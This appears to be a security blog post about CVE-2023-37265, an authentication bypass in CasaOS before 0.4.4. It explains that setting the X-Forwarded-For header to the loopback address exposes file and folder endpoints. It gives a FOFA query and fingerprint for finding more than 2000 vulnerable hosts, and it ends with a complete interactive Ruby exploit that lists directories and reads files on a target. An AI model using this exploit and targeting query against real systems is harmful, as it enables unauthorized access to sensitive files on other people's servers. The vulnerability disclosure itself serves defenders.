CVE-2023-37265

CasaOS Path traversal via XFF bypass

"CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification, unauthenticated attackers can execute arbitrary commands as root on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly." -nvd.nist.gov API endpoints of casaos before 0.4.4, /v1/folder?path= and /v1/file?path= can be bypassed just by editing the X-Forwarded-For header with the loopback address in a get request, this easy XFF bypass can allow us to see OS systems files with full path which may contain sensitive information.
[*] burp_proof.png

Looking for vulnerable targets

Some tweets are saying you can find vulnerable versions just with this FOFA query: body="/CasaOS-UI/public/index.html" But to be honest this query is not so accurate, because it will give back all casaos istances mapped by FOFA. Going deeper, I found that almost all vulnerable hosts have the same "fid" (FOFA ID), fid="mHDuCDefQ9WP96AEzB5JMQ==" As we can see (during the publication of this article) more than 2000 hosts are vulnerable to this. Fortunately, vulnerable hosts are decreasing thanks to people's awareness to update their software.
[*] fofa_casaos.png

Exploit code

To automate this, i wrote an exploit in ruby
require 'http'
require 'openssl'
require 'json'

def main(url, path)
    url.delete_suffix!("/") unless url[-1..-1] != "/"
    @ctx = OpenSSL::SSL::SSLContext.new()
    @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    headerz={"X-Forwarded-For"=>"127.0.0.1"}
    r=HTTP.get("#{url}/v1/folder?path=#{path}",
        :headers=>headerz, :ssl_context=>@ctx)
    r2=HTTP.get("#{url}/v1/file?path=#{path}",
        :headers=>headerz,:ssl_context=>@ctx).body
    d=JSON.load(r.body)['data']['content']
    if r.code==200 and r.body.to_s[0]=="{"
        puts "\n"
        d.size.times do |i|
            puts d[i]['path']
        end
    elsif r.code==500 and r.body.to_s.include?("not a directory")
        puts r2
    else raise
    end
end

begin
    print"\nBase URL: "
    t=gets.chomp
    while true
        print "\nPath> ";p=gets.chomp
        main(t,p.empty?? "/":p)
    end
rescue => e
    puts "\nNot vulnerable!"
    abort(e.to_s)
end